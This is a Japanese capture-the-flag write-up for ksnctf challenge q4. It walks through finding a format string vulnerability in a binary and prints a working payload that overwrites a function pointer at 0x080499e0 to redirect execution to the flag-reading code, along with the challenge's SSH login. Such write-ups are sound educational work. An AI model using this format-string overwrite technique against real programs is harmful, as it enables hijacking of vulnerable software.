ksnctf 解法メモ
問題
SSH: ctfq.sweetduet.info:10022
ID: q4
Pass: q60SIMpLlej9eq49
解法
まずは問題のサーバにアクセスする。
ssh -p 10022 q4@ctfq.sweetduet.info
接続し、ls -l
コマンドでファイルをみると、flag.txt
, readme.txt
, q4
がある。
flag.txt
は権限がなく読めないので、q4
を実行してみる。
[q4@localhost ~]$ ./q4
What's your name?
yyamada
Hi, yyamada
Do you want the flag?
yes
Do you want the flag?
.
.
.
永遠に同じ質問をされる。
こういう入力した文字列をそのまま表示してるプログラムには、書式文字列攻撃というのが通じることがあるらしい。
特定の文字を入力すると、あるアドレスの値を好きな値に書き換えることができる。
ここがめちゃくちゃ分かりやすく解説してくれているので詳しいところは割愛。
objdump -d -M intel ./q4
で逆アセンブリするとflagを読む命令があるが、jmp
命令やjne
命令に阻まれている。
putcharなどの関数を呼び出しているところ(0x080499e0
)で、このflagを読む命令を呼び出すよう(0x08048691
)に書き換えてやれば良い。
echo -e "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn" | ./q4
でFlagゲット。